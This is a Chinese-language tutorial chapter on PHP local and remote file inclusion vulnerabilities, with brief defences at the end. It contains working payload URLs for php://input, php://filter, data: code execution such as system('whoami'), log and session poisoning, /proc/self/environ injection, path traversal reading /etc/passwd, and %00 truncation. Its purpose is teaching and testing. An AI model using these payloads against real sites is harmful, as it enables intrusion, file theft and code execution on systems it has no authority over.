1.39 文件包含漏洞
描述
文件包含漏洞是"代码注入"的一种,包含即执行,又分为LFI和RFI两种。
RFI的利用条件较为苛刻,需要php.ini中进行配置
allow_url_fopen = On allow_url_include = On
危害
PHP包含漏洞结合上传漏洞;
PHP包含读文件;
PHP包含写文件;
PHP包含日志文件;
PHP截断包含;
PHP内置伪协议利用。
PHP中文件包含函数有以下四种:
nclude和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP的内核并不会在意被包含的文件是什么类型。即你可以上传一个含shell的txt或jpg文件,包含它会被当作PHP代码执行(图马)。
最简单的漏洞代码:
漏洞利用
伪协议
php://input
利用条件:
allow_url_include = On。
对allow_url_fopen不做要求。
解释:上面filter既然能读文件,肯定还能写文件,这就可以利用input将数据POST过去,即php://input是用来接收post数据的;
用法:?file=php://input 数据利用POST传过去
注意:如果php.ini里的allow_url_include=On(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去一句话,即可执行;
php://filter
利用条件:无甚
解释:php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include;
用法:?file=php://filter/convert.base64-encode/resource=xxx.php
?file=php://filter/read=convert.base64-encode/resource=xxx.php 一样
phar://
利用条件:
php版本大于等于php5.3.0
phar是一个文件归档的包,类似于Java中的Jar文件,方便了PHP模块的迁移。 php中默认安装了这个模块。
假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包
使用绝对路径
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
或者相对路径
index.php?file=phar://test.zip/phpinfo.txt
zip://
利用条件:
php版本大于等于php5.3.0 姿势: 构造zip包的方法同phar。
但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt
data:URI schema
利用条件:
php版本大于等于php5.2 allow_url_fopen = On allow_url_include = On
姿势一:
test.php?file=data:text/plain,<?php phpinfo();?>
姿势二:
file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
和php伪协议的input类似,碰到file_get_contents()来用;
题目代码
无限制包含
就是可以随意包含的那种..
一些常用的敏感日志
windows
linux
session文件包含
利用条件:
session的存储位置可以获取。
通过phpinfo的信息可以获取到session的存储位置。
通过猜测默认的session存放位置进行尝试。
如linux下默认存储在/var/lib/php/session目录下:
实例
此php会将获取到的GET型ctfs变量的值存入到session中。
通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。
日志文件包含
PayLoad:
http://localhost/include/file.php?file=<?php phpinfo(); ?>
日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent
然后
payload:
http://localhost/include/file.php?file=../../apache/logs/access.log
注意,写入时防止转义,使用burp抓包上传
当然ssh的日志也是可以的,比如
包含/proc/self/environ文件
利用条件:
php以cgi方式运行,这样environ才会保持UA头。 environ文件存储位置已知,且environ文件可读。
姿势:
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
包含fd
https://highon.coffee/blog/lfi-cheat-sheet/#procselffd-lfi-method
包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
绕过姿势
指定前缀
代码
这个最简单了,简要的提一下。
现在在/var/log/test.txt文件中有php代码<?php phpinfo();?>,则利用../可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/test.txt
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过
指定后缀
接着考虑指定后缀的情况。测试代码:
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
url格式为:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
index.php?file=http://remoteaddr/remoteinfo.txt%23
index.php?file=http://remoteaddr/remoteinfo.txt?
利用协议
构造压缩包如下:
test.php内容为:
则拼接后为:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php
长度截断
利用条件: php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
index.php?file=././././。。。省略。。。././shell.txt
则后缀/test/test.php,在达到最大值后会被直接丢弃掉。
点号截断
条件:windows OS,点号需要长于256
%00 截断
利用条件: php版本 < php 5.3.4
截断更多地用于文件包含,比如 <?php include($_GET['path']).".jpg" > 要求一定是jpg 后缀的,这样我们可以用 1.php?path=php://input%00 这样就把后面的 .jpg 吃掉了。同理 path=../../../../etc/passwd%00 读取 /etc/passwd
漏洞测试
测试工具
防御方案
在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
做好文件的权限管理
对危险字符进行过滤等等
Last updated